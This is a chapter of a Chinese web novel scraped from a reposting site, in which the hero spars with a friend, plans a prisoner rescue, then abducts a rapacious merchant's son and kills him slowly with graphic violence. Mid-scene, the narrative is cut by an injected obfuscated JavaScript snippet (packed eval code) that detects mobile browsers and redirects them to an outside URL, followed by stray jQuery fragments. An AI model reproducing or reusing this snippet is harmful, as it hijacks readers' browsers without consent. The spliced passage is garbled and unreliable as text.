文趣网 > 都市小说 > 我的漂亮青梅竟是男子 > 19. 单方面殴打不叫切磋
    谢砚承累得直喘气,浑身都传来痛感:“停停停,扛不住了,呼,你不会是,因为我今日没能竞价过那个县令儿子,所以故意整我吧?”

    陈遥面无表情看着他,手指捏得咔咔作响。

    “不是这个原因?!”谢砚承跑动间衣袖拂过桌上的冰晶糕,陈遥眼急手快接住,稳稳当当放于桌子正中央。

    谢砚承福至心灵,表情变得古怪起来,在陈遥脸上和空碗上来回扫,面上带了几分促狭。

    “哦~~~”谢砚承声音拖长,一时间得意忘形,“玫瑰酒酿圆子和冰晶糕不会是小青梅给做的吧~”

    陈遥脚步微微一顿。

    谢砚承笃定自己猜对了,忘记自己身上的疼痛,嘴角上扬到欠揍的弧度:“早说嘛,这里还有两块冰晶糕,别说兄弟没给你留。”

    陈遥一记手刀劈在谢砚承头上,结束了这场“教导”:“动作太慢了,下去多练练。”

    “裴曜尘!!!”

    谢砚承坐在凳子上,便用布包的冰块敷脸,怨气冲冲盯着陈遥:“对兄弟下这么重的手,咱们可是撒尿和泥的交情。”

    陈遥面色如常,给自己倒了杯茶:“我倒不知堂堂世子爷有这癖好,我可没有,你别污蔑。”

    谢砚承道:“那是夸张的手法,懂吗?”

    说着他又难耐自己的好奇心,凑近陈遥:“你和小青梅发展到哪步了?牵手了吗?告白了吗?私定终生了吗?”

    陈遥掀眸淡淡睨他一眼:“你还有气力想这些事,看来刚才练得还不够。”

    陈遥一个抬手,谢砚承立马双手握住他的手,脸上格外真诚:“够了,绝对够了,刚才的切磋让我获益匪浅,贪多嚼不烂,我也认识到自己防身的功夫学得确实有疏漏,会认真练过。”

    陈遥低头看了看被握住的手,微微挑眉:“松开。”

    谢砚承忙不迭松开,坐得规规矩矩:“下次我一定不随意动你的吃食了,真可怕。”

    手比脑子快,他伸手准备拿一块冰晶糕,对上寒意凛凛的眼神,立即悻悻地缩回手:“说不吃,就不吃了。”

    陈遥端坐着:“南筠州知州陆知微现如何了?擅自在几个县试点改革税法”

    谢砚承旋即正色道:“不日就要离开南筠州,押解回京。”

    陈遥眼神深邃:“我早就告诫他税法改革之事不能操之过急,他居然敢搞试点改革,这不等同于在抽世家门阀的脸吗?”

    谢砚承叹口气:“估摸着他也是看百姓太苦了,谁料才少交十之三四的附加税,蔡家都坐不住了。”

    陈遥神色沉肃:“也是个有胸怀无脑子的蠢货。”

    谢砚承语气中带着几分唏嘘与惋惜:“如今朝野昏暗,宵小充斥,这般肯为民出头的官,难有。”

    陈遥声音还是一如既往的平静冷淡:“他的税法十则确切中要害,可在如今的官场行不通,要不看在他是个难得为国为民的好官,我便任他去死。”

    谢砚承挑眉,微微倾身:“意思是还是要救?”

    陈遥垂眸,心中早有打算:“救,但不能暴露自己人,甩给西南方那股流民。”

    谢砚承道:“行,可这人是要押上京的,在哪个地段施救呢?”

    陈遥道:“劫囚的时间地点再作商议,今日便到此,你回吧。”

    陈遥将他送到门口,谢砚承手搭在他肩上,用扇子敲打陈遥,语带挪揄:“你还没说你和小青梅到了哪一步?跟兄弟讲讲,先前你天外来客般卷走小青梅,我都给你记下来了,就叫‘俏花魁飞身惩宵小,素手卷走小女娥’,怎么样,是不是特别贴合?”

    阿肆替他家世子爷捏了一把汗,暗忖,您可快别说了,没看那位的眼神都要杀人了!

    陈遥握紧拳头,蓄势待发:“看来你又不疼了。”

    谢砚承立即认怂,摆摆头:“不问了,不问了,世风日下,某些人一点也不把兄弟当人看。”

    陈遥一脚踹到他屁股上,阿肆赶紧扶住谢砚承:“世子爷,快别说了,少挨点揍,咱赶紧走吧。”

    谢砚承边被拖着走,边回头:“姓裴的,你等着,待我再学几招,再来和你比划比划。”

    陈遥干脆利落关上门,隔绝了谢砚承的叫喊声,眼睛落在桌面仅剩两块的冰晶糕上。

    他净了手,拿起一块,轻咬一口,入口冰凉顺滑,软糯清甜:“倒是有长进。”

    慕云栀自小就喜欢尝试,可她做菜许多时候不按常规,他就吃过蜂蛹,斑鸠叶豆腐,牛瘪汤,不胜枚举,他的肠胃乍然改变饮食,必定搅得他不安生。

    偏生慕云栀是顶顶尊重食物之人,他每每都瞧着那双期待的眼睛,只好全部吃完,她便会高兴地期待下次再做些与众不同的吃食。

    想着她记忆中的模样,陈遥吃完两块冰晶糕,洗了手,换上一身黑色夜行衣。

    是夜,无月,丑时过。

    云层极厚,伸手不见五指。两道黑色的人影轻巧翻过李家院墙,从屋脊上掠过。

    骤然停下,周丹臣指着一个方向,陈遥点头,片刻后,两人落在了一方院子。

    周丹臣娴熟地捏晕门口打瞌睡的侍从,轻声放在地面,抽出刀撬开门栓。

    两人前后脚进入屋内,周丹臣掀开床帘,李丰睡得正酣,胸口和手上都厚厚缠着绷带。

    身上剧痛,李丰睡得不踏实,隐隐觉着有什么恐怖之物在盯着他,像是被来自深渊的恶鬼找上一般。

    李丰缓缓睁开眼,见着两个蒙面的黑影,往床里侧缩:“你……你们……是……是谁?我……我爹可是李家米行的……老板……”

    陈遥周身杀意凝实:“来取你性命的阎罗。”

    李丰张嘴叫道:“来人,救……”

    周丹臣一个手刀劈在他脖子上,将人敲晕了扛了起来。

    依旧身轻如燕,掠过屋脊,没有惊动任何人,离开李家,消失在夜色中。

    一处废弃的宅院,风灌进院子,发出呜呜的声音。

    周丹臣将李丰扔在地面,发出沉闷的声响,李丰痛醒过来,双目惊恐圆瞪,发现手脚都被绑着。

    “你们……你们是何人?要……要钱的话,找我爹便是……”

    陈遥语气森冷:“三月前,你看上一农家姑娘,强取豪夺,踩断她哥哥的手指,欺辱了那姑娘。事后你以她家人性命要挟,不准那姑娘去报官。”

    陈遥缓步走近,李丰在地面蠕动后退,声音颤抖:“你们……你们是那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17619990|204740||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    女子找来报复我的人?我有钱,我给你们钱,求你们放过我。”

    陈遥手握剑柄,铮然一声,利刃出鞘:“去岁,你行米贷,借一斗还二斗,还不上就利滚利,你再带着打手去借米人家中,逼迫他们卖田卖房,将人逼上了绝路。”

    “早些年你李家为了独占商市,挤压同行,强制低价从农户处收米,等到小粮商无米时,再高价抛出。独占米市,谋财害命。”

    陈遥眸中凶光毕现:“你还有什么可辩解的?”

    李丰控制不住剧烈哆嗦:“大……大侠,饶命!我再也不敢了!我给他们钱,你要我给多少都可以。”

    陈遥垂眸俯视:“你仗着李家的财势在这安宁县欺男霸女,作奸犯科,你这种人又怎会知错呢?”

    李丰扭动身体拼命挣扎:“大侠我真知错了!饶命呀!”

    寒光映目,杀意难掩:“你胆敢在花月楼伤她,便用你性命来偿。”

    李丰这才明了这两人是为今日那小娘子而来:“我那是认错人了,我去给小娘子道歉,再给她一千两,不,两千两。”

    陈遥宛若凶兽亮出獠牙,扑面而来的死亡威压,刹那间寒光劈下,李丰浑身僵硬动弹不得。

    手起剑落,十指落地,李丰的惨叫声尖锐刺耳。

    陈遥嗓音冷冽,目光狠厉:“你就是用这双脏手碰她的,这一剑是为所有被你欺辱过的女子讨得。”

    嘴角挂着残忍的笑,眼中迸射出嗜血的戾气,心中那禁锢的野兽出了笼。

    又一剑挥下,李丰瞳孔骤然一缩,喉间发出嗬嗬的声音,他再也无力挣扎。

    陈遥:“这一剑为所有被你谋财害命之人,官府奈何不了你,那便我来。”

    下一剑直接贯穿胸膛,红色液体飞溅到陈遥眼角,他抬手拭去,眼眉染上血色之后越发妖冶,冷峻面容多了几分靡丽邪气。

    “脏死了,又脏又臭。”陈遥挥剑,甩去附着的液体。

    陈遥双目森寒,盯着李丰气息奄奄,只剩微弱的哀呼,没有一剑毙命,而是让他在这种绝望悲凉中徐徐咽气。

    周丹臣见人不动了,啐了一口:“偏生要在太岁头上动土,敢动我们栀姐儿,真是活得不耐烦了。”

    周围弥漫的浑浊血气,让陈遥不适蹙眉:“将人挂到城门口去,以儆效尤,再有谋财害命、欺辱女子者,下场便如他。”

    周丹臣边清理边问:“爷,我一直有个问题没明白,为何不将栀姐儿接到您身边来,放在眼皮子底下,锦衣玉食养着,不叫她吃一点苦呢?”

    陈遥目光放空,望向黑夜:“你难道忘了,我们是要走之人,能护得了她一时,护不了她一世,难道要将她带到波诡云谲、魑魅魍魉盛行的盛京吗?”

    “她的生命力很顽强,很旺盛,我不想将她养成菟丝子,这世间万般挫折磨难,她得自己以身试过,方能辨尽人心真伪,看清世事本心。”

    陈遥面色平静,唯有紧绷的嘴角悄然泄露了他身不由己的无奈:“她是山野栀子,可以自己独绽风华。她不能是我的软肋,我不能有软肋。”

    周丹臣面色有些不忍,岔开话头:“爷,前些日子您要我查的的那幕后做局陷害栀姐儿用巫蛊之术之人有眉目了。”